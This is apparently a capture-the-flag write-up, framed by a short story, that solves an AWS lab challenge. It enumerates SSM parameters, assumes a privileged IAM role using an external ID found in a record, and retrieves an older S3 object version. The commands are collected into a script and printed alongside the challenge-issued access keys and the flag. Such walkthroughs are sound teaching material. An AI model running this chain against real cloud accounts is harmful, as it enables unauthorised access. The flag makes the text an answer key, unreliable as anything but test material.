Lysa Harrowmere reaches the lower city ferry piers while Stormbound soldiers wait for the morning boat. They are supposed to cross the river and guard the east road before Vaultrune's next patrol moves through. The route board says the boat goes to the east road landing, but the crew roster sends it to a dock controlled by Vaultrune. If Lysa warns the soldiers openly, Vaultrune's men can claim she started a fight at the pier. If she confronts the ferry master, his guards can tear down the roster and post the correct one. Lysa has one job: find the earlier crossing list, prove who changed the dock, and get the soldiers onto the right boat before Vaultrune cuts the road.
A LocalStack-style AWS environment. The flag sits in an older version of an S3 object, and the path to it is a chain of pointers - each step gated by a different permission, and each pointing at the next.
Nothing. This challenge ships no files at all - only two network endpoints and a set of starting credentials shown on the briefing page.
Two ports. The first is an AWS API endpoint, and says so in its error message:
$ curl 154.57.164.73:30710; echo ""
{"__type":"AccessDeniedException","message":"User is not authorized to perform:
MissingAuthentication"}
The second serves the briefing page:
The briefing names the parameter namespace and adds one instruction that turns out to be a hint about permissions: "Catalog the namespace before you read any parameter value."
It also hands over IAM user credentials:
IAM USER coalition-ferry-clerk
ACCESS KEY ID AKIA1SAO071HB8J9CF17
SECRET ACCESS KEY iwkdfkyWGCUMWTjDyVVQ7xl4t0jQxZerBQE3uuhS
REGION us-east-1
Conclusion: Point the AWS CLI at the challenge endpoint rather than at real AWS, and make sure no stale session token is left over from earlier work:
$ export AWS_ENDPOINT_URL=http://154.57.164.73:30710
$ export AWS_DEFAULT_REGION=us-east-1
$ export AWS_ACCESS_KEY_ID=AKIA1SAO071HB8J9CF17
$ export AWS_SECRET_ACCESS_KEY=iwkdfkyWGCUMWTjDyVVQ7xl4t0jQxZerBQE3uuhS
$ unset AWS_SESSION_TOKEN
$ aws sts get-caller-identity
{
"UserId": "AIDAOK7T88DIGCVUDHD4",
"Account": "584729103648",
"Arn": "arn:aws:iam::584729103648:user/coalition-ferry-clerk"
}
The briefing points at Systems Manager under /ferry/crossing/. The obvious
move is get-parameters-by-path, which returns names and values in
one call - but that is denied. describe-parameters and
get-parameter are allowed, so the namespace has to be catalogued first and
read one entry at a time.
$ aws ssm describe-parameters
{
"Parameters": [
{"Name": "/ferry/crossing/live-crossing-id", ...},
{"Name": "/ferry/crossing/CROSSING-VOID-9B11", ...},
{"Name": "/ferry/crossing/CROSSING-CLOSED-5E22", ...},
{"Name": "/ferry/crossing/CROSSING-DRAFT-8D40", ...},
{"Name": "/ferry/crossing/CROSSING-VOID-3C21", ...},
{"Name": "/ferry/crossing/CROSSING-7A3F", ...},
{"Name": "/ferry/crossing/CROSSING-VOID-1A04", ...},
{"Name": "/ferry/crossing/CROSSING-VOID-2D77", ...}
]
}
Conclusion: Eight parameters. The naming already sorts them - one pointer
(live-crossing-id), one plain crossing, and six marked VOID/CLOSED/DRAFT.
Read them all in a loop, piping through cat so the CLI does not open a pager:
$ for n in $(aws ssm describe-parameters --query 'Parameters[].Name' --output text) ; do
echo "=== $n"
aws ssm get-parameter --name $n --query 'Parameter.Value' --output text | cat
done
Seven of the eight records look alike at a glance. The differences are in three fields.
=== /ferry/crossing/live-crossing-id
CROSSING-7A3F
=== /ferry/crossing/CROSSING-VOID-9B11
{
"crossing_id": "CROSSING-VOID-9B11",
"status": "VOID",
"issuer": "third-party-archive",
"scanner_external_id": "sb-ferry-audit-2025-11004-retired",
"manifest_bucket": "ferry-crossing-manifest",
"manifest_object_key": "manifests/emergency-crossing-draft.txt",
"record_type": "crossing_manifest",
"manifest_version_id": "00000000000000000000000000000000"
}
=== /ferry/crossing/CROSSING-7A3F
{
"crossing_id": "CROSSING-7A3F",
"status": "AUTHORIZED",
"issuer": "stormbound-coalition-ferry-office",
"scanner_role_arn": "arn:aws:iam::584729103648:role/ferry-crossing-scanner",
"scanner_external_id": "ferry-crossing-scanner-7a3f",
"manifest_bucket": "ferry-crossing-manifest",
"manifest_object_key": "manifests/morning-crossing-order.txt",
"manifest_version_id": "780cb956-b9f2-49d0-a761-bfc492f169a4",
"record_type": "crossing_manifest"
}
| Field | Decoys (7) | CROSSING-7A3F |
|---|---|---|
status | VOID / CLOSED / DRAFT | AUTHORIZED |
issuer | third-party-archive | stormbound-coalition-ferry-office |
scanner_role_arn | absent | present |
manifest_version_id | absent or all-zero | 780cb956-... |
Conclusion: live-crossing-id points at CROSSING-7A3F, and
that is also the only record carrying a role ARN and a real pinned object version. Two
things follow: there is a second role with more privileges, and somebody pinned a specific
version of the manifest - which only matters if the object changed later.
The record hands over a role ARN, so the obvious next step is
sts assume-role.
Called with just the ARN it fails with AccessDenied - which reads like "your
user may not assume this role" and sends you looking for another privilege escalation
path. It is not that. The role's trust policy requires an external ID, and the
record supplies it in the field right below the ARN:
scanner_external_id: ferry-crossing-scanner-7a3f.
$ aws sts assume-role \
--role-arn 'arn:aws:iam::584729103648:role/ferry-crossing-scanner' \
--role-session-name oink \
--external-id ferry-crossing-scanner-7a3f
{
"Credentials": {
"AccessKeyId": "ASIAQXWVMVFL23NPC0RY",
"SecretAccessKey": "VI5xSdGibpMXrlx1mwNnSYBO61PiwJ8LMvsfW1La",
"SessionToken": "xLdDvw4ssM46h5IEsmp6...",
"Expiration": "2026-07-25T17:34:24.496771+00:00"
},
"AssumedRoleUser": {
"Arn": "arn:aws:sts::584729103648:assumed-role/ferry-crossing-scanner/oink"
}
}
Conclusion: The misleading error is the actual lesson here - with external IDs,
a missing condition value and a missing permission produce the same
AccessDenied. Export the three new variables (this time
including AWS_SESSION_TOKEN) and continue as the scanner role.
The authorized record pinned version 780cb956-.... If that is still the
current one, nothing was tampered with - so list the versions.
$ aws s3api list-object-versions --bucket ferry-crossing-manifest --prefix manifests/
{
"Versions": [
{"Key": "manifests/morning-crossing-order.txt", "Size": 129,
"VersionId": "f922e032-2cbb-498e-87f8-ffa513382b4d", "IsLatest": true },
{"Key": "manifests/morning-crossing-order.txt", "Size": 99,
"VersionId": "57cb46ad-16ef-4513-b7d7-1219a62ef771", "IsLatest": false},
{"Key": "manifests/morning-crossing-order.txt", "Size": 157,
"VersionId": "780cb956-b9f2-49d0-a761-bfc492f169a4", "IsLatest": false}
]
}
Conclusion: Three versions, and the pinned one is not the latest -
f922e032-... was uploaded afterwards. That is the swap the challenge asks to
prove. Fetch both and compare.
No exploit code - the whole challenge is a chain of AWS CLI calls. Collected into one script, with the values that have to be read out of the previous step's output marked:
#!/bin/sh
# False Ferry - recover the pre-tamper crossing manifest.
# --- clerk credentials from the briefing page --------------------------
export AWS_ENDPOINT_URL=http://154.57.164.73:30710
export AWS_DEFAULT_REGION=us-east-1
export AWS_ACCESS_KEY_ID=AKIA1SAO071HB8J9CF17
export AWS_SECRET_ACCESS_KEY=iwkdfkyWGCUMWTjDyVVQ7xl4t0jQxZerBQE3uuhS
unset AWS_SESSION_TOKEN
aws sts get-caller-identity
# --- 1. catalogue and read the namespace one value at a time -----------
# (get-parameters-by-path is denied; describe + get are allowed)
for n in $(aws ssm describe-parameters --query 'Parameters[].Name' --output text) ; do
echo "=== $n"
aws ssm get-parameter --name $n --query 'Parameter.Value' --output text | cat
done
# --- 2. the only AUTHORIZED record names a role AND an external id -----
ROLE=arn:aws:iam::584729103648:role/ferry-crossing-scanner
EXTID=ferry-crossing-scanner-7a3f
PINNED=780cb956-b9f2-49d0-a761-bfc492f169a4 # manifest_version_id
aws sts assume-role --role-arn "$ROLE" --role-session-name oink \
--external-id "$EXTID"
# --- 3. switch to the scanner role (values from the output above) ------
export AWS_ACCESS_KEY_ID=ASIAQXWVMVFL23NPC0RY
export AWS_SECRET_ACCESS_KEY=VI5xSdGibpMXrlx1mwNnSYBO61PiwJ8LMvsfW1La
export AWS_SESSION_TOKEN=xLdDvw4ssM46h5IEsmp6...
# --- 4. the pinned version is not the latest one -----------------------
aws s3api list-object-versions --bucket ferry-crossing-manifest --prefix manifests/
aws s3api get-object --bucket ferry-crossing-manifest \
--key manifests/morning-crossing-order.txt \
--version-id "$PINNED" linked.txt
aws s3api get-object --bucket ferry-crossing-manifest \
--key manifests/morning-crossing-order.txt \
--version-id f922e032-2cbb-498e-87f8-ffa513382b4d latest.txt
diff linked.txt latest.txt
The two manifest versions, side by side:
$ cat latest.txt
CROSSING AUTHORIZATION
Batch: CROSSING-VOID-9B11
Status: RELEASED
Effective: 2026-06-15
Reference: emergency-release ED-2026-014
$ cat linked.txt
CROSSING RELEASE RECORD
Batch: CROSSING-7A3F
Authorized by: Stormbound Coalition Ferry Office
HTB{ferry_crossing_dock_seal_68df0c3aad67912c39a513120cbdd940}
$ diff linked.txt latest.txt
--- linked.txt 2026-07-25 18:43:58
+++ latest.txt 2026-07-25 18:44:50
@@ -1,4 +1,5 @@
-CROSSING RELEASE RECORD
-Batch: CROSSING-7A3F
-Authorized by: Stormbound Coalition Ferry Office
-HTB{ferry_crossing_dock_seal_68df0c3aad67912c39a513120cbdd940}
+CROSSING AUTHORIZATION
+Batch: CROSSING-VOID-9B11
+Status: RELEASED
+Effective: 2026-06-15
+Reference: emergency-release ED-2026-014
That diff is the proof the story asks for: the current manifest points the crossing at the
voided batch CROSSING-VOID-9B11, while the version the authorization record
pinned names CROSSING-7A3F and the coalition ferry office as issuer.
This protocol is from the original run - unlike a local binary, an AWS environment cannot be re-created from the handout, because there is no handout.
HTB{ferry_crossing_dock_seal_68df0c3aad67912c39a513120cbdd940}
| # | Stage | Mechanism |
|---|---|---|
| 1 | Enumerate under a partial permission | GetParametersByPath is denied,
DescribeParameters/GetParameter are allowed - so catalogue
the namespace first, then read each value individually. |
| 2 | Filter the decoys | Eight records, seven of them VOID/CLOSED/DRAFT from
third-party-archive. Only CROSSING-7A3F is AUTHORIZED,
issued by the ferry office, and it is the one live-crossing-id points
at. |
| 3 | Escalate via the record itself | That record carries both the role ARN and the external ID its trust policy demands.
Without --external-id the call fails as AccessDenied,
which looks like a missing permission rather than a missing parameter. |
| 4 | Follow the pinned version | The record pins S3 version 780cb956-..., which is not
IsLatest. A newer upload swapped in the voided batch; the pinned version
still holds the original manifest - and the flag. |
Two version concepts are stacked here, and telling them apart is the actual puzzle: the
SSM parameter is at version 1 and perfectly current, while the
manifest_version_id inside its value refers to S3 object versioning.
Pinning the object version at authorization time is exactly what makes the later swap
provable - the tampering is invisible if you only ever read the current object, and
undeniable the moment you compare it against what was authorized.